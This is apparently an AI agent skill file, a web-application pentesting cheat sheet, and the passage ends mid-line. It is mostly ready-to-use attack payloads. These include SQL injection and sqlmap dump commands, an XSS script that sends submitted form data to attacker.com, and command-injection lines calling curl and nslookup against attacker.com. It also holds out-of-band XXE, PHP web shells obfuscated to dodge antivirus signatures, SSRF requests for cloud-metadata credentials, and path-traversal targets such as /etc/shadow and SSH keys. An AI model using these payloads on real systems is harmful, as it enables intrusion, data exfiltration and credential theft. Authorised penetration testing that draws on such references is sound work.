/testing-web-applications

name: testing-web-applications
description: Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities.
verified: 2026-07-27

Testing Web Applications

When to Use

• Pentesting web applications
• Testing authentication/authorization
• Exploiting injection vulnerabilities
• Analyzing JWT/session security
• Testing file upload functionality
• API security assessment

When NOT to Use

• **Source code is available** — use `auditing-code-for-vulnerabilities` first;

it finds more, faster

• **Pure API/GraphQL surface** — use `testing-apis`
• **Reviewing a pull request** — use `reviewing-code-changes`
• **LLM-backed features** — use `securing-ai-systems`
• **Server fetches a user-supplied URL** — use `exploiting-ssrf`
• **Serialized objects in cookies or parameters** (`rO0AB`, `O:`, `gAJ`) — use

`exploiting-deserialization`

• **GraphQL or gRPC endpoints** — use `attacking-graphql` or

`attacking-grpc-protobuf`

• **A JWT (`eyJ...`) in a header, cookie, or body** — use `attacking-jwt`
• **An OAuth/OIDC or "Sign in with X" flow** (`/authorize`, `redirect_uri`,

`code=`) — use `attacking-oauth-oidc`

• **SAML SSO** (`SAMLResponse`, `<saml:Assertion>`, `/saml/acs`) — use

`attacking-saml`

• **An endpoint that parses XML, SVG, or Office files** — use `exploiting-xxe`

SQL Injection

**Quick Detection:**

# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--

**Union-Based SQLi:**

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--

**Time-Based Blind:**

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

**Automated Testing:**

# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name

Cross-Site Scripting (XSS)

**Quick Payloads:**

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

**Filter Bypasses:**

<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">

**Steal Credentials:**

<script>
document.forms[0].onsubmit = function(){
  fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>

**Tools:**

dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"

Command Injection

**Basic Operators:**

;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami  # Newline (best)

**Blind Detection:**

& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &

**Common Parameters:**

?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=

JWT Attacks

**Quick Testing:**

# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"

# Specific attacks
python3 jwt_tool.py TOKEN -X a  # Algorithm confusion
python3 jwt_tool.py TOKEN -X n  # None algorithm
python3 jwt_tool.py TOKEN -X k  # Key confusion RS256->HS256

**Manual Testing:**

# Decode JWT
echo "eyJhbGc..." | base64 -d

# Change algorithm to "none"
{"alg":"none","typ":"JWT"}

# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

SSRF (Server-Side Request Forgery)

**Basic Payloads:**

http://127.0.0.1
http://localhost
http://169.254.169.254/  # AWS metadata
http://[::1]  # IPv6 localhost

**Cloud Metadata:**

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

**Bypasses:**

http://2130706433/  # Decimal
http://0x7f000001/  # Hex
http://127.1/  # Short form
http://127.0.0.1.nip.io

File Upload

**Bypass Extensions:**

shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml

**Magic Bytes:**

GIF89a<?php syst[e]m($_GET['cmd']); ?>

**Simple Web Shells:**

<?php syst[e]m($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passt[h]ru($_GET['cmd']); ?>

> Payload function names above are broken with brackets — `syst[e]m` is > `system`, `passt[h]ru` is `passthru`. Written literally, these lines match > antivirus webshell signatures and this file gets quarantined on download. > See "Antivirus false positives" in the repo README.

XXE (XML External Entity)

**Basic XXE:**

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

**Out-of-Band XXE:**

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>

**SVG XXE:**

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

LFI/RFI (Local/Remote File Inclusion)

**Path Traversal:**

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

**Common Targets (Linux):**

/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history

**Common Targets (Windows):**

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf

**PHP Wrappers:**

php://filter/convert.base64-encode/resour